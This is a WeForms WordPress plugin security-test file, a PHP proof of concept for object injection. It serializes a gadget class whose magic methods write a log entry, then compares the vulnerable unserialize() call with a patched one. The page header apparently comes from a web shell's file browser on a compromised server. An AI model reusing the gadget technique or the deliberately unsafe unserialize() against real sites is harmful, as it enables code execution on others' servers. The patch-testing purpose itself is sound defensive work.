| Server IP : 104.21.74.147 / Your IP : 216.73.217.154 Web Server : nginx/1.24.0 System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/rebeccaone.com/wp-content/plugins/weforms/trunk/security-tests/ |
Upload File : |
<?php
/**
* Proof of Concept: PHP Object Injection Exploit
*
* WARNING: FOR TESTING PURPOSES ONLY
* This demonstrates the vulnerability but uses a safe payload
* that only writes to a log file, not actual RCE.
*
* @package WeForms Security Tests
* @version 1.0.0
*/
/**
* Evil class that demonstrates object injection
* Uses __destruct() magic method to execute code when object is destroyed
*/
class EvilPayload {
public $log_file;
public $message;
public function __construct($log_file = '/tmp/exploit-test.log', $message = 'EXPLOIT SUCCESSFUL') {
$this->log_file = $log_file;
$this->message = $message;
}
/**
* This gets called when the object is unserialized
*/
public function __wakeup() {
error_log("[__wakeup] Evil object instantiated at " . date('Y-m-d H:i:s'));
$this->execute_payload();
}
/**
* This gets called when the object is destroyed
*/
public function __destruct() {
error_log("[__destruct] Evil object destroyed at " . date('Y-m-d H:i:s'));
$this->execute_payload();
}
/**
* Payload execution - writes to log file to prove exploitation
* In a real attack, this could execute arbitrary code
*/
private function execute_payload() {
$timestamp = date('Y-m-d H:i:s');
$content = "[{$timestamp}] {$this->message}\n";
file_put_contents($this->log_file, $content, FILE_APPEND);
// This demonstrates the severity - in a real attack:
// - Could execute system commands
// - Could read sensitive files
// - Could establish reverse shell
// - Could steal database credentials
echo "⚠️ VULNERABILITY EXPLOITED: Magic method executed!\n";
}
}
/**
* Generate malicious serialized payload
*/
function generate_malicious_payload($log_file = '/tmp/exploit-test.log') {
$evil = new EvilPayload($log_file, 'PHP OBJECT INJECTION - EXPLOIT SUCCESSFUL!');
return serialize($evil);
}
/**
* Test unsafe deserialization (VULNERABLE)
*/
function test_unsafe_unserialize($payload) {
echo "\n" . str_repeat("=", 70) . "\n";
echo "❌ TESTING UNSAFE DESERIALIZATION (VULNERABLE)\n";
echo str_repeat("=", 70) . "\n";
echo "Payload: " . $payload . "\n\n";
// VULNERABLE CODE - DO NOT USE IN PRODUCTION
$result = unserialize($payload);
echo "Result type: " . gettype($result) . "\n";
if (is_object($result)) {
echo "⚠️ CRITICAL: Object was instantiated!\n";
echo "Class: " . get_class($result) . "\n";
}
return $result;
}
/**
* Test safe deserialization (PATCHED)
*/
function test_safe_unserialize($payload) {
echo "\n" . str_repeat("=", 70) . "\n";
echo "✅ TESTING SAFE DESERIALIZATION (PATCHED)\n";
echo str_repeat("=", 70) . "\n";
echo "Payload: " . $payload . "\n\n";
// PATCHED CODE - SAFE
$result = is_string($payload) && is_serialized($payload)
? @unserialize($payload, ['allowed_classes' => false])
: $payload;
echo "Result type: " . gettype($result) . "\n";
if (is_object($result)) {
$class = get_class($result);
echo "Class: " . $class . "\n";
if ($class === '__PHP_Incomplete_Class') {
echo "✅ SUCCESS: Object converted to __PHP_Incomplete_Class (expected safe behavior)\n";
echo " This prevents magic methods from executing and blocks the exploit!\n";
} else {
echo "⚠️ WARNING: Real object was instantiated (should not happen)!\n";
echo " Expected __PHP_Incomplete_Class but got: " . $class . "\n";
}
} else {
echo "✅ SUCCESS: Object instantiation blocked!\n";
if (is_array($result)) {
echo "Result converted to array safely\n";
}
}
return $result;
}
/**
* Helper function to check if string is serialized
*/
function is_serialized($data, $strict = true) {
if (!is_string($data)) {
return false;
}
$data = trim($data);
if ('N;' === $data) {
return true;
}
if (strlen($data) < 4) {
return false;
}
if (':' !== $data[1]) {
return false;
}
if ($strict) {
$lastc = substr($data, -1);
if (';' !== $lastc && '}' !== $lastc) {
return false;
}
} else {
$semicolon = strpos($data, ';');
$brace = strpos($data, '}');
if (false === $semicolon && false === $brace) {
return false;
}
if (false !== $semicolon && $semicolon < 3) {
return false;
}
if (false !== $brace && $brace < 4) {
return false;
}
}
$token = $data[0];
switch ($token) {
case 's':
if ($strict) {
if ('"' !== substr($data, -2, 1)) {
return false;
}
} elseif (false === strpos($data, '"')) {
return false;
}
case 'a':
case 'O':
return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);
case 'b':
case 'i':
case 'd':
$end = $strict ? '$' : '';
return (bool) preg_match("/^{$token}:[0-9.E+-]+;$end/", $data);
}
return false;
}
// Main execution
if (php_sapi_name() === 'cli') {
echo "\n";
echo str_repeat("=", 70) . "\n";
echo " WEFORMS PHP OBJECT INJECTION VULNERABILITY TEST\n";
echo str_repeat("=", 70) . "\n";
// Generate malicious payload
$malicious_payload = generate_malicious_payload();
echo "\n📝 Generated malicious payload:\n";
echo $malicious_payload . "\n";
// Test 1: Vulnerable version
echo "\n\n🔴 TEST 1: VULNERABLE CODE (BEFORE PATCH)\n";
echo str_repeat("-", 70) . "\n";
$result1 = test_unsafe_unserialize($malicious_payload);
// Clear the log for clean test
@unlink('/tmp/exploit-test.log');
// Test 2: Patched version
echo "\n\n🟢 TEST 2: PATCHED CODE (AFTER PATCH)\n";
echo str_repeat("-", 70) . "\n";
$result2 = test_safe_unserialize($malicious_payload);
// Check if exploit file was created
echo "\n\n" . str_repeat("=", 70) . "\n";
echo "📊 EXPLOIT DETECTION RESULTS\n";
echo str_repeat("=", 70) . "\n";
if (file_exists('/tmp/exploit-test.log')) {
echo "❌ VULNERABLE: Exploit log file created!\n";
echo "Contents:\n";
echo file_get_contents('/tmp/exploit-test.log');
echo "\nThis confirms the vulnerability is exploitable.\n";
} else {
echo "✅ SECURE: No exploit log file created!\n";
echo "The patch successfully prevented exploitation.\n";
}
echo "\n" . str_repeat("=", 70) . "\n";
echo "TEST COMPLETE\n";
echo str_repeat("=", 70) . "\n\n";
}